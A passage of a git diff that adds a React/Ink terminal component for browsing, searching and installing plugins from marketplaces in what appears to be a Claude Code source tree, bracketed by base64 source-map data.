KGN1cnJlbnQgPT4gKHtcbiAgICAgIC4uLmN1cnJlbnQsXG4gICAgICBoYXNWaXNpdGVkUGFzc2VzOiB0cnVlLFxuICAgICAgcGFzc2VzTGFzdFNlZW5SZW1haW5pbmc6IHJlbWFpbmluZyA/PyBjdXJyZW50LnBhc3Nlc0xhc3RTZWVuUmVtYWluaW5nLFxuICAgIH0pKVxuICB9XG4gIGxvZ0V2ZW50KCd0ZW5ndV9ndWVzdF9wYXNzZXNfdmlzaXRlZCcsIHsgaXNfZmlyc3RfdmlzaXQ6IGlzRmlyc3RWaXNpdCB9KVxuICByZXR1cm4gPFBhc3NlcyBvbkRvbmU9e29uRG9uZX0gLz5cbn1cbiJdLCJtYXBwaW5ncyI6IkFBQUEsT0FBTyxLQUFLQSxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUFTQyxNQUFNLFFBQVEsbUNBQW1DO0FBQzFELFNBQVNDLFFBQVEsUUFBUSxtQ0FBbUM7QUFDNUQsU0FBU0Msd0JBQXdCLFFBQVEsZ0NBQWdDO0FBQ3pFLGNBQWNDLHFCQUFxQixRQUFRLHdCQUF3QjtBQUNuRSxTQUFTQyxlQUFlLEVBQUVDLGdCQUFnQixRQUFRLHVCQUF1QjtBQUV6RSxPQUFPLGVBQWVDLElBQUlBLENBQ3hCQyxNQUFNLEVBQUVKLHFCQUFxQixDQUM5QixFQUFFSyxPQUFPLENBQUNULEtBQUssQ0FBQ1UsU0FBUyxDQUFDLENBQUM7RUFDMUI7RUFDQSxNQUFNQyxNQUFNLEdBQUdOLGVBQWUsQ0FBQyxDQUFDO0VBQ2hDLE1BQU1PLFlBQVksR0FBRyxDQUFDRCxNQUFNLENBQUNFLGdCQUFnQjtFQUM3QyxJQUFJRCxZQUFZLEVBQUU7SUFDaEIsTUFBTUUsU0FBUyxHQUFHWCx3QkFBd0IsQ0FBQyxDQUFDO0lBQzVDRyxnQkFBZ0IsQ0FBQ1MsT0FBTyxLQUFLO01BQzNCLEdBQUdBLE9BQU87TUFDVkYsZ0JBQWdCLEVBQUUsSUFBSTtNQUN0QkcsdUJBQXVCLEVBQUVGLFNBQVMsSUFBSUMsT0FBTyxDQUFDQztJQUNoRCxDQUFDLENBQUMsQ0FBQztFQUNMO0VBQ0FkLFFBQVEsQ0FBQyw0QkFBNEIsRUFBRTtJQUFFZSxjQUFjLEVBQUVMO0VBQWEsQ0FBQyxDQUFDO0VBQ3hFLE9BQU8sQ0FBQyxNQUFNLENBQUMsTUFBTSxDQUFDLENBQUNKLE1BQU0sQ0FBQyxHQUFHO0FBQ25DIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/commands/plugin/DiscoverPlugins.tsx b/_all-in-one-upload/cc-haha/src/commands/plugin/DiscoverPlugins.tsx
new file mode 100644
index 0000000..d62a8db
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/plugin/DiscoverPlugins.tsx
@@ -0,0 +1,781 @@
+import { c as _c } from "react/compiler-runtime";
+import figures from 'figures';
+import * as React from 'react';
+import { useCallback, useEffect, useMemo, useState } from 'react';
+import { ConfigurableShortcutHint } from '../../components/ConfigurableShortcutHint.js';
+import { Byline } from '../../components/design-system/Byline.js';
+import { SearchBox } from '../../components/SearchBox.js';
+import { useSearchInput } from '../../hooks/useSearchInput.js';
+import { useTerminalSize } from '../../hooks/useTerminalSize.js';
+// eslint-disable-next-line custom-rules/prefer-use-keybindings -- useInput needed for raw search mode text input
+import { Box, Text, useInput, useTerminalFocus } from '../../ink.js';
+import { useKeybinding, useKeybindings } from '../../keybindings/useKeybinding.js';
+import type { LoadedPlugin } from '../../types/plugin.js';
+import { count } from '../../utils/array.js';
+import { openBrowser } from '../../utils/browser.js';
+import { logForDebugging } from '../../utils/debug.js';
+import { errorMessage } from '../../utils/errors.js';
+import { clearAllCaches } from '../../utils/plugins/cacheUtils.js';
+import { formatInstallCount, getInstallCounts } from '../../utils/plugins/installCounts.js';
+import { isPluginGloballyInstalled } from '../../utils/plugins/installedPluginsManager.js';
+import { createPluginId, detectEmptyMarketplaceReason, type EmptyMarketplaceReason, formatFailureDetails, formatMarketplaceLoadingErrors, loadMarketplacesWithGracefulDegradation } from '../../utils/plugins/marketplaceHelpers.js';
+import { loadKnownMarketplacesConfig } from '../../utils/plugins/marketplaceManager.js';
+import { OFFICIAL_MARKETPLACE_NAME } from '../../utils/plugins/officialMarketplace.js';
+import { installPluginFromMarketplace } from '../../utils/plugins/pluginInstallationHelpers.js';
+import { isPluginBlockedByPolicy } from '../../utils/plugins/pluginPolicy.js';
+import { plural } from '../../utils/stringUtils.js';
+import { truncateToWidth } from '../../utils/truncate.js';
+import { findPluginOptionsTarget, PluginOptionsFlow } from './PluginOptionsFlow.js';
+import { PluginTrustWarning } from './PluginTrustWarning.js';
+import { buildPluginDetailsMenuOptions, extractGitHubRepo, type InstallablePlugin } from './pluginDetailsHelpers.js';
+import type { ViewState as ParentViewState } from './types.js';
+import { usePagination } from './usePagination.js';
+type Props = {
+  error: string | null;
+  setError: (error: string | null) => void;
+  result: string | null;
+  setResult: (result: string | null) => void;
+  setViewState: (state: ParentViewState) => void;
+  onInstallComplete?: () => void | Promise<void>;
+  onSearchModeChange?: (isActive: boolean) => void;
+  targetPlugin?: string;
+};
+type ViewState = 'plugin-list' | 'plugin-details' | {
+  type: 'plugin-options';
+  plugin: LoadedPlugin;
+  pluginId: string;
+};
+export function DiscoverPlugins({
+  error,
+  setError,
+  result: _result,
+  setResult,
+  setViewState: setParentViewState,
+  onInstallComplete,
+  onSearchModeChange,
+  targetPlugin
+}: Props): React.ReactNode {
+  // View state
+  const [viewState, setViewState] = useState<ViewState>('plugin-list');
+  const [selectedPlugin, setSelectedPlugin] = useState<InstallablePlugin | null>(null);
+
+  // Data state
+  const [availablePlugins, setAvailablePlugins] = useState<InstallablePlugin[]>([]);
+  const [loading, setLoading] = useState(true);
+  const [installCounts, setInstallCounts] = useState<Map<string, number> | null>(null);
+
+  // Search state
+  const [isSearchMode, setIsSearchModeRaw] = useState(false);
+  const setIsSearchMode = useCallback((active: boolean) => {
+    setIsSearchModeRaw(active);
+    onSearchModeChange?.(active);
+  }, [onSearchModeChange]);
+  const {
+    query: searchQuery,
+    setQuery: setSearchQuery,
+    cursorOffset: searchCursorOffset
+  } = useSearchInput({
+    isActive: viewState === 'plugin-list' && isSearchMode && !loading,
+    onExit: () => {
+      setIsSearchMode(false);
+    }
+  });
+  const isTerminalFocused = useTerminalFocus();
+  const {
+    columns: terminalWidth
+  } = useTerminalSize();
+
+  // Filter plugins based on search query
+  const filteredPlugins = useMemo(() => {
+    if (!searchQuery) return availablePlugins;
+    const lowerQuery = searchQuery.toLowerCase();
+    return availablePlugins.filter(plugin => plugin.entry.name.toLowerCase().includes(lowerQuery) || plugin.entry.description?.toLowerCase().includes(lowerQuery) || plugin.marketplaceName.toLowerCase().includes(lowerQuery));
+  }, [availablePlugins, searchQuery]);
+
+  // Selection state
+  const [selectedIndex, setSelectedIndex] = useState(0);
+  const [selectedForInstall, setSelectedForInstall] = useState<Set<string>>(new Set());
+  const [installingPlugins, setInstallingPlugins] = useState<Set<string>>(new Set());
+
+  // Pagination for plugin list (continuous scrolling)
+  const pagination = usePagination<InstallablePlugin>({
+    totalItems: filteredPlugins.length,
+    selectedIndex
+  });
+
+  // Reset selection when search query changes
+  useEffect(() => {
+    setSelectedIndex(0);
+  }, [searchQuery]);
+
+  // Details view state
+  const [detailsMenuIndex, setDetailsMenuIndex] = useState(0);
+  const [isInstalling, setIsInstalling] = useState(false);
+  const [installError, setInstallError] = useState<string | null>(null);
+
+  // Warning state for non-critical errors
+  const [warning, setWarning] = useState<string | null>(null);
+
+  // Empty state reason
+  const [emptyReason, setEmptyReason] = useState<EmptyMarketplaceReason | null>(null);
+
+  // Load all plugins from all marketplaces
+  useEffect(() => {
+    async function loadAllPlugins() {
+      try {
+        const config = await loadKnownMarketplacesConfig();
+
+        // Load marketplaces with graceful degradation
+        const {
+          marketplaces,
+          failures
+        } = await loadMarketplacesWithGracefulDegradation(config);
+
+        // Collect all plugins from all marketplaces
+        const allPlugins: InstallablePlugin[] = [];
+        for (const {
+          name,
+          data: marketplace
+        } of marketplaces) {
+          if (marketplace) {
+            for (const entry of marketplace.plugins) {
+              const pluginId = createPluginId(entry.name, name);
+              allPlugins.push({
+                entry,
+                marketplaceName: name,
+                pluginId,
+                // Only block when globally installed (user/managed scope).
+                // Project/local-scope installs don't block — user may want to
+                // promote to user scope so it's available everywhere (gh-29997).
+                isInstalled: isPluginGloballyInstalled(pluginId)
+              });
+            }
+          }
+        }
+
+        // Filter out installed and policy-blocked plugins
+        const uninstalledPlugins = allPlugins.filter(p => !p.isInstalled && !isPluginBlockedByPolicy(p.pluginId));
+
+        // Fetch install counts and sort by popularity
+        try {
+          const counts = await getInstallCounts();
+          setInstallCounts(counts);
+          if (counts) {
+            // Sort by install count (descending), then alphabetically
+            uninstalledPlugins.sort((a_0, b_0) => {
+              const countA = counts.get(a_0.pluginId) ?? 0;
+              const countB = counts.get(b_0.pluginId) ?? 0;
+              if (countA !== countB) return countB - countA;
+              return a_0.entry.name.localeCompare(b_0.entry.name);
+            });
+          } else {
+            // No counts available - sort alphabetically
+            uninstalledPlugins.sort((a_1, b_1) => a_1.entry.name.localeCompare(b_1.entry.name));
+          }
+        } catch (error_0) {
+          // Log the error, then gracefully degrade to alphabetical sort
+          logForDebugging(`Failed to fetch install counts: ${errorMessage(error_0)}`);
+          uninstalledPlugins.sort((a, b) => a.entry.name.localeCompare(b.entry.name));
+        }
+        setAvailablePlugins(uninstalledPlugins);
+
+        // Detect empty reason if no plugins available
+        const configuredCount = Object.keys(config).length;
+        if (uninstalledPlugins.length === 0) {
+          const reason = await detectEmptyMarketplaceReason({
+            configuredMarketplaceCount: configuredCount,
+            failedMarketplaceCount: failures.length
+          });
+          setEmptyReason(reason);
+        }
+
+        // Handle marketplace loading errors/warnings
+        const successCount = count(marketplaces, m => m.data !== null);
+        const errorResult = formatMarketplaceLoadingErrors(failures, successCount);
+        if (errorResult) {
+          if (errorResult.type === 'warning') {
+            setWarning(errorResult.message + '. Showing available plugins.');
+          } else {
+            throw new Error(errorResult.message);
+          }
+        }
+
+        // Handle targetPlugin - navigate directly to plugin details
+        // Search in allPlugins (before filtering) to handle installed plugins gracefully
+        if (targetPlugin) {
+          const foundPlugin = allPlugins.find(p_0 => p_0.entry.name === targetPlugin);
+          if (foundPlugin) {
+            if (foundPlugin.isInstalled) {
+              setError(`Plugin '${foundPlugin.pluginId}' is already installed. Use '/plugin' to manage existing plugins.`);
+            } else {
+              setSelectedPlugin(foundPlugin);
+              setViewState('plugin-details');
+            }
+          } else {
+            setError(`Plugin "${targetPlugin}" not found in any marketplace`);
+          }
+        }
+      } catch (err) {
+        setError(err instanceof Error ? err.message : 'Failed to load plugins');
+      } finally {
+        setLoading(false);
+      }
+    }
+    void loadAllPlugins();
+  }, [setError, targetPlugin]);
+
+  // Install selected plugins
+  const installSelectedPlugins = async () => {
+    if (selectedForInstall.size === 0) return;
+    const pluginsToInstall = availablePlugins.filter(p_1 => selectedForInstall.has(p_1.pluginId));
+    setInstallingPlugins(new Set(pluginsToInstall.map(p_2 => p_2.pluginId)));
+    let successCount_0 = 0;
+    let failureCount = 0;
+    const newFailedPlugins: Array<{
+      name: string;
+      reason: string;
+    }> = [];
+    for (const plugin_0 of pluginsToInstall) {
+      const result = await installPluginFromMarketplace({
+        pluginId: plugin_0.pluginId,
+        entry: plugin_0.entry,
+        marketplaceName: plugin_0.marketplaceName,
+        scope: 'user'
+      });
+      if (result.success) {
+        successCount_0++;
+      } else {
+        failureCount++;
+        newFailedPlugins.push({
+          name: plugin_0.entry.name,
+          reason: result.error
+        });
+      }
+    }
+    setInstallingPlugins(new Set());
+    setSelectedForInstall(new Set());
+    clearAllCaches();
+
+    // Handle installation results
+    if (failureCount === 0) {
+      const message = `✓ Installed ${successCount_0} ${plural(successCount_0, 'plugin')}. ` + `Run /reload-plugins to activate.`;
+      setResult(message);
+    } else if (successCount_0 === 0) {
+      setError(`Failed to install: ${formatFailureDetails(newFailedPlugins, true)}`);
+    } else {
+      const message_0 = `✓ Installed ${successCount_0} of ${successCount_0 + failureCount} plugins. ` + `Failed: ${formatFailureDetails(newFailedPlugins, false)}. ` + `Run /reload-plugins to activate successfully installed plugins.`;
+      setResult(message_0);
+    }
+    if (successCount_0 > 0) {
+      if (onInstallComplete) {
+        await onInstallComplete();
+      }
+    }
+    setParentViewState({
+      type: 'menu'
+    });
+  };
+
+  // Install single plugin from details view
+  const handleSinglePluginInstall = async (plugin_1: InstallablePlugin, scope: 'user' | 'project' | 'local' = 'user') => {
+    setIsInstalling(true);
+    setInstallError(null);
+    const result_0 = await installPluginFromMarketplace({
+      pluginId: plugin_1.pluginId,
+      entry: plugin_1.entry,
+      marketplaceName: plugin_1.marketplaceName,
+      scope
+    });
+    if (result_0.success) {
+      const loaded = await findPluginOptionsTarget(plugin_1.pluginId);
+      if (loaded) {
+        setIsInstalling(false);
+        setViewState({
+          type: 'plugin-options',
+          plugin: loaded,
+          pluginId: plugin_1.pluginId
+        });
+        return;
+      }
+      setResult(result_0.message);
+      if (onInstallComplete) {
+        await onInstallComplete();
+      }
+      setParentViewState({
+        type: 'menu'
+      });
+    } else {
+      setIsInstalling(false);
+      setInstallError(result_0.error);
+    }
+  };
+
+  // Handle error state
+  useEffect(() => {
+    if (error) {
+      setResult(error);
+    }
+  }, [error, setResult]);
+
+  // Escape in plugin-details view - go back to plugin-list
+  useKeybinding('confirm:no', () => {
+    setViewState('plugin-list');
+    setSelectedPlugin(null);
+  }, {
+    context: 'Confirmation',
+    isActive: viewState === 'plugin-details'
+  });
+
+  // Escape in plugin-list view (not search mode) - exit to parent menu
+  useKeybinding('confirm:no', () => {
+    setParentViewState({
+      type: 'menu'
+    });
+  }, {
+    context: 'Confirmation',
+    isActive: viewState === 'plugin-list' && !isSearchMode
+  });
+
+  // Handle entering search mode (non-escape keys)
+  useInput((input, _key) => {
+    const keyIsNotCtrlOrMeta = !_key.ctrl && !_key.meta;
+    if (!isSearchMode) {
+      // Enter search mode with '/' or any printable character
+      if (input === '/' && keyIsNotCtrlOrMeta) {
+        setIsSearchMode(true);
+        setSearchQuery('');
+      } else if (keyIsNotCtrlOrMeta && input.length > 0 && !/^\s+$/.test(input) &&
+      // Don't enter search mode for navigation keys
+      input !== 'j' && input !== 'k' && input !== 'i') {
+        setIsSearchMode(true);
+        setSearchQuery(input);
+      }
+    }
+  }, {
+    isActive: viewState === 'plugin-list' && !loading
+  });
+
+  // Plugin-list navigation (non-search mode)
+  useKeybindings({
+    'select:previous': () => {
+      if (selectedIndex === 0) {
+        setIsSearchMode(true);
+      } else {
+        pagination.handleSelectionChange(selectedIndex - 1, setSelectedIndex);
+      }
+    },
+    'select:next': () => {
+      if (selectedIndex < filteredPlugins.length - 1) {
+        pagination.handleSelectionChange(selectedIndex + 1, setSelectedIndex);
+      }
+    },
+    'select:accept': () => {
+      if (selectedIndex === filteredPlugins.length && selectedForInstall.size > 0) {
+        void installSelectedPlugins();
+      } else if (selectedIndex < filteredPlugins.length) {
+        const plugin_2 = filteredPlugins[selectedIndex];
+        if (plugin_2) {
+          if (plugin_2.isInstalled) {
+            setParentViewState({
+              type: 'manage-plugins',
+              targetPlugin: plugin_2.entry.name,
+              targetMarketplace: plugin_2.marketplaceName
+            });
+          } else {
+            setSelectedPlugin(plugin_2);
+            setViewState('plugin-details');
+            setDetailsMenuIndex(0);
+            setInstallError(null);
+          }
+        }
+      }
+    }
+  }, {
+    context: 'Select',
+    isActive: viewState === 'plugin-list' && !isSearchMode
+  });
+  useKeybindings({
+    'plugin:toggle': () => {
+      if (selectedIndex < filteredPlugins.length) {
+        const plugin_3 = filteredPlugins[selectedIndex];
+        if (plugin_3 && !plugin_3.isInstalled) {
+          const newSelection = new Set(selectedForInstall);
+          if (newSelection.has(plugin_3.pluginId)) {
+            newSelection.delete(plugin_3.pluginId);
+          } else {
+            newSelection.add(plugin_3.pluginId);
+          }
+          setSelectedForInstall(newSelection);
+        }
+      }
+    },
+    'plugin:install': () => {
+      if (selectedForInstall.size > 0) {
+        void installSelectedPlugins();
+      }
+    }
+  }, {
+    context: 'Plugin',
+    isActive: viewState === 'plugin-list' && !isSearchMode
+  });
+
+  // Plugin-details navigation
+  const detailsMenuOptions = React.useMemo(() => {
+    if (!selectedPlugin) return [];
+    const hasHomepage = selectedPlugin.entry.homepage;
+    const githubRepo = extractGitHubRepo(selectedPlugin);
+    return buildPluginDetailsMenuOptions(hasHomepage, githubRepo);
+  }, [selectedPlugin]);
+  useKeybindings({
+    'select:previous': () => {
+      if (detailsMenuIndex > 0) {
+        setDetailsMenuIndex(detailsMenuIndex - 1);
+      }
+    },
+    'select:next': () => {
+      if (detailsMenuIndex < detailsMenuOptions.length - 1) {
+        setDetailsMenuIndex(detailsMenuIndex + 1);
+      }
+    },
+    'select:accept': () => {
+      if (!selectedPlugin) return;
+      const action = detailsMenuOptions[detailsMenuIndex]?.action;
+      const hasHomepage_0 = selectedPlugin.entry.homepage;
+      const githubRepo_0 = extractGitHubRepo(selectedPlugin);
+      if (action === 'install-user') {
+        void handleSinglePluginInstall(selectedPlugin, 'user');
+      } else if (action === 'install-project') {
+        void handleSinglePluginInstall(selectedPlugin, 'project');
+      } else if (action === 'install-local') {
+        void handleSinglePluginInstall(selectedPlugin, 'local');
+      } else if (action === 'homepage' && hasHomepage_0) {
+        void openBrowser(hasHomepage_0);
+      } else if (action === 'github' && githubRepo_0) {
+        void openBrowser(`https://github.com/${githubRepo_0}`);
+      } else if (action === 'back') {
+        setViewState('plugin-list');
+        setSelectedPlugin(null);
+      }
+    }
+  }, {
+    context: 'Select',
+    isActive: viewState === 'plugin-details' && !!selectedPlugin
+  });
+  if (typeof viewState === 'object' && viewState.type === 'plugin-options') {
+    const {
+      plugin: plugin_4,
+      pluginId: pluginId_0
+    } = viewState;
+    function finish(msg: string): void {
+      setResult(msg);
+      if (onInstallComplete) {
+        void onInstallComplete();
+      }
+      setParentViewState({
+        type: 'menu'
+      });
+    }
+    return <PluginOptionsFlow plugin={plugin_4} pluginId={pluginId_0} onDone={(outcome, detail) => {
+      switch (outcome) {
+        case 'configured':
+          finish(`✓ Installed and configured ${plugin_4.name}. Run /reload-plugins to apply.`);
+          break;
+        case 'skipped':
+          finish(`✓ Installed ${plugin_4.name}. Run /reload-plugins to apply.`);
+          break;
+        case 'error':
+          finish(`Installed but failed to save config: ${detail}`);
+          break;
+      }
+    }} />;
+  }
+
+  // Loading state
+  if (loading) {
+    return <Text>Loading…</Text>;
+  }
+
+  // Error state
+  if (error) {
+    return <Text color="error">{error}</Text>;
+  }
+
+  // Plugin details view
+  if (viewState === 'plugin-details' && selectedPlugin) {
+    const hasHomepage_1 = selectedPlugin.entry.homepage;
+    const githubRepo_1 = extractGitHubRepo(selectedPlugin);
+    const menuOptions = buildPluginDetailsMenuOptions(hasHomepage_1, githubRepo_1);
+    return <Box flexDirection="column">
+        <Box marginBottom={1}>
+          <Text bold>Plugin details</Text>
+        </Box>
+
+        <Box flexDirection="column" marginBottom={1}>
+          <Text bold>{selectedPlugin.entry.name}</Text>
+          <Text dimColor>from {selectedPlugin.marketplaceName}</Text>
+          {selectedPlugin.entry.version && <Text dimColor>Version: {selectedPlugin.entry.version}</Text>}
+          {selectedPlugin.entry.description && <Box marginTop={1}>
+              <Text>{selectedPlugin.entry.description}</Text>
+            </Box>}
+          {selectedPlugin.entry.author && <Box marginTop={1}>
+              <Text dimColor>
+                By:{' '}
+                {typeof selectedPlugin.entry.author === 'string' ? selectedPlugin.entry.author : selectedPlugin.entry.author.name}
+              </Text>
+            </Box>}
+        </Box>
+
+        <PluginTrustWarning />
+
+        {installError && <Box marginBottom={1}>
+            <Text color="error">Error: {installError}</Text>
+          </Box>}
+
+        <Box flexDirection="column">
+          {menuOptions.map((option, index) => <Box key={option.action}>
+              {detailsMenuIndex === index && <Text>{'> '}</Text>}
+              {detailsMenuIndex !== index && <Text>{'  '}</Text>}
+              <Text bold={detailsMenuIndex === index}>
+                {isInstalling && option.action.startsWith('install-') ? 'Installing…' : option.label}
+              </Text>
+            </Box>)}
+        </Box>
+
+        <Box marginTop={1}>
+          <Text dimColor>
+            <Byline>
+              <ConfigurableShortcutHint action="select:accept" context="Select" fallback="Enter" description="select" />
+              <ConfigurableShortcutHint action="confirm:no" context="Confirmation" fallback="Esc" description="back" />
+            </Byline>
+          </Text>
+        </Box>
+      </Box>;
+  }
+
+  // Empty state
+  if (availablePlugins.length === 0) {
+    return <Box flexDirection="column">
+        <Box marginBottom={1}>
+          <Text bold>Discover plugins</Text>
+        </Box>
+        <EmptyStateMessage reason={emptyReason} />
+        <Box marginTop={1}>
+          <Text dimColor italic>
+            Esc to go back
+          </Text>
+        </Box>
+      </Box>;
+  }
+
+  // Get visible plugins from pagination
+  const visiblePlugins = pagination.getVisibleItems(filteredPlugins);
+  return <Box flexDirection="column">
+      <Box>
+        <Text bold>Discover plugins</Text>
+        {pagination.needsPagination && <Text dimColor>
+            {' '}
+            ({pagination.scrollPosition.current}/
+            {pagination.scrollPosition.total})
+          </Text>}
+      </Box>
+
+      {/* Search box */}
+      <Box marginBottom={1}>
+        <SearchBox query={searchQuery} isFocused={isSearchMode} isTerminalFocused={isTerminalFocused} width={terminalWidth - 4} cursorOffset={searchCursorOffset} />
+      </Box>
+
+      {/* Warning banner */}
+      {warning && <Box marginBottom={1}>
+          <Text color="warning">
+            {figures.warning} {warning}
+          </Text>
+        </Box>}
+
+      {/* No search results */}
+      {filteredPlugins.length === 0 && searchQuery && <Box marginBottom={1}>
+          <Text dimColor>No plugins match &quot;{searchQuery}&quot;</Text>
+        </Box>}
+
+      {/* Scroll up indicator */}
+      {pagination.scrollPosition.canScrollUp && <Box>
+          <Text dimColor> {figures.arrowUp} more above</Text>
+        </Box>}
+
+      {/* Plugin list - use startIndex in key to force re-render on scroll */}
+      {visiblePlugins.map((plugin_5, visibleIndex) => {
+      const actualIndex = pagination.toActualIndex(visibleIndex);
+      const isSelected = selectedIndex === actualIndex;
+      const isSelectedForInstall = selectedForInstall.has(plugin_5.pluginId);
+      const isInstallingThis = installingPlugins.has(plugin_5.pluginId);
+      const isLast = visibleIndex === visiblePlugins.length - 1;
+      return <Box key={`${pagination.startIndex}-${plugin_5.pluginId}`} flexDirection="column" marginBottom={isLast && !error ? 0 : 1}>
+            <Box>
+              <Text color={isSelected && !isSearchMode ? 'suggestion' : undefined}>
+                {isSelected && !isSearchMode ? figures.pointer : ' '}{' '}
+              </Text>
+              <Text>
+                {isInstallingThis ? figures.ellipsis : isSelectedForInstall ? figures.radioOn : figures.radioOff}{' '}
+                {plugin_5.entry.name}
+                <Text dimColor> · {plugin_5.marketplaceName}</Text>
+                {plugin_5.entry.tags?.includes('community-managed') && <Text dimColor> [Community Managed]</Text>}
+                {installCounts && plugin_5.marketplaceName === OFFICIAL_MARKETPLACE_NAME && <Text dimColor>
+                      {' · '}
+                      {formatInstallCount(installCounts.get(plugin_5.pluginId) ?? 0)}{' '}
+                      installs
+                    </Text>}
+              </Text>
+            </Box>
+            {plugin_5.entry.description && <Box marginLeft={4}>
+                <Text dimColor>
+                  {truncateToWidth(plugin_5.entry.description, 60)}
+                </Text>
+              </Box>}
+          </Box>;
+    })}
+
+      {/* Scroll down indicator */}
+      {pagination.scrollPosition.canScrollDown && <Box>
+          <Text dimColor> {figures.arrowDown} more below</Text>
+        </Box>}
+
+      {/* Error messages */}
+      {error && <Box marginTop={1}>
+          <Text color="error">
+            {figures.cross} {error}
+          </Text>
+        </Box>}
+
+      <DiscoverPluginsKeyHint hasSelection={selectedForInstall.size > 0} canToggle={selectedIndex < filteredPlugins.length && !filteredPlugins[selectedIndex]?.isInstalled} />
+    </Box>;
+}
+function DiscoverPluginsKeyHint(t0) {
+  const $ = _c(10);
+  const {
+    hasSelection,
+    canToggle
+  } = t0;
+  let t1;
+  if ($[0] !== hasSelection) {
+    t1 = hasSelection && <ConfigurableShortcutHint action="plugin:install" context="Plugin" fallback="i" description="install" bold={true} />;
+    $[0] = hasSelection;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = <Text>type to search</Text>;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  let t3;
+  if ($[3] !== canToggle) {
+    t3 = canToggle && <ConfigurableShortcutHint action="plugin:toggle" context="Plugin" fallback="Space" description="toggle" />;
+    $[3] = canToggle;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  let t4;
+  let t5;
+  if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = <ConfigurableShortcutHint action="select:accept" context="Select" fallback="Enter" description="details" />;
+    t5 = <ConfigurableShortcutHint action="confirm:no" context="Confirmation" fallback="Esc" description="back" />;
+    $[5] = t4;
+    $[6] = t5;
+  } else {
+    t4 = $[5];
+    t5 = $[6];
+  }
+  let t6;
+  if ($[7] !== t1 || $[8] !== t3) {
+    t6 = <Box marginTop={1}><Text dimColor={true} italic={true}><Byline>{t1}{t2}{t3}{t4}{t5}</Byline></Text></Box>;
+    $[7] = t1;
+    $[8] = t3;
+    $[9] = t6;
+  } else {
+    t6 = $[9];
+  }
+  return t6;
+}
+
+/**
+ * Context-aware empty state message for the Discover screen
+ */
+function EmptyStateMessage(t0) {
+  const $ = _c(6);
+  const {
+    reason
+  } = t0;
+  switch (reason) {
+    case "git-not-installed":
+      {
+        let t1;
+        if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = <><Text dimColor={true}>Git is required to install marketplaces.</Text><Text dimColor={true}>Please install git and restart Claude Code.</Text></>;
+          $[0] = t1;
+        } else {
+          t1 = $[0];
+        }
+        return t1;
+      }
+    case "all-blocked-by-policy":
+      {
+        let t1;
+        if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = <><Text dimColor={true}>Your organization policy does not allow any external marketplaces.</Text><Text dimColor={true}>Contact your administrator.</Text></>;
+          $[1] = t1;
+        } else {
+          t1 = $[1];
+        }
+        return t1;
+      }
+    case "policy-restricts-sources":
+      {
+        let t1;
+        if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = <><Text dimColor={true}>Your organization restricts which marketplaces can be added.</Text><Text dimColor={true}>Switch to the Marketplaces tab to view allowed sources.</Text></>;
+          $[2] = t1;
+        } else {
+          t1 = $[2];
+        }
+        return t1;
+      }
+    case "all-marketplaces-failed":
+      {
+        let t1;
+        if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = <><Text dimColor={true}>Failed to load marketplace data.</Text><Text dimColor={true}>Check your network connection.</Text></>;
+          $[3] = t1;
+        } else {
+          t1 = $[3];
+        }
+        return t1;
+      }
+    case "all-plugins-installed":
+      {
+        let t1;
+        if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = <><Text dimColor={true}>All available plugins are already installed.</Text><Text dimColor={true}>Check for new plugins later or add more marketplaces.</Text></>;
+          $[4] = t1;
+        } else {
+          t1 = $[4];
+        }
+        return t1;
+      }
+    case "no-marketplaces-configured":
+    default:
+      {
+        let t1;
+        if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = <><Text dimColor={true}>No plugins available.</Text><Text dimColor={true}>Add a marketplace first using the Marketplaces tab.</Text></>;
+          $[5] = t1;
+        } else {
+          t1 = $[5];
+        }
+        return t1;
+      }
+  }
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmaWd1cmVzIiwiUmVhY3QiLCJ1c2VDYWxsYmFjayIsInVzZUVmZmVjdCIsInVzZU1lbW8iLCJ1c2VTdGF0ZSIsIkNvbmZpZ3VyYWJsZVNob3J0Y3V0SGludCIsIkJ5bGluZSIsIlNlYXJjaEJveCIsInVzZVNlYXJjaElucHV0IiwidXNlVGVybWluYWxTaXplIiwiQm94IiwiVGV4dCIsInVzZUlucHV0IiwidXNlVGVybWluYWxGb2N1cyIsInVzZUtleWJpbmRpbmciLCJ1c2VLZXliaW5kaW5ncyIsIkxvYWRlZFBsdWdpbiIsImNvdW50Iiwib3BlbkJyb3dzZXIiLCJsb2dGb3JEZWJ1Z2dpbmciLCJlcnJvck1lc3NhZ2UiLCJjbGVhckFsbENhY2hlcyIsImZvcm1hdEluc3RhbGxDb3VudCIsImdldEluc3RhbGxDb3VudHMiLCJpc1BsdWdpbkdsb2JhbGx5SW5zdGFsbGVkIiwiY3JlYXRlUGx1Z2luSWQiLCJkZXRlY3RFbXB0eU1hcmtldHBsYWNlUmVhc29uIiwiRW1wdHlNYXJrZXRwbGFjZVJlYXNvbiIsImZvcm1hdEZhaWx1cmVEZXRhaWxzIiwiZm9ybWF0TWFya2V0cGxhY2VMb2FkaW5nRXJyb3JzIiwibG9hZE1hcmtldHBsYWNlc1dpdGhHcmFjZWZ1bERlZ3JhZGF0aW9uIiwibG9hZEtub3duTWFya2V0cGxhY2VzQ29uZmlnIiwiT0ZGSUNJQUxfTUFSS0VUUExBQ0VfTkFNRSIsImluc3RhbGxQbHVnaW5Gcm9tTWFya2V0cGxhY2UiLCJpc1BsdWdpbkJsb2NrZWRCeVBvbGljeSIsInBsdXJhbCIsInRydW5jYXRlVG9XaWR0aCIsImZpbmRQbHVnaW5PcHRpb25zVGFyZ2V0IiwiUGx1Z2luT3B0aW9uc0Zsb3ciLCJQbHVnaW5UcnVzdFdhcm5pbmciLCJidWlsZFBsdWdpbkRldGF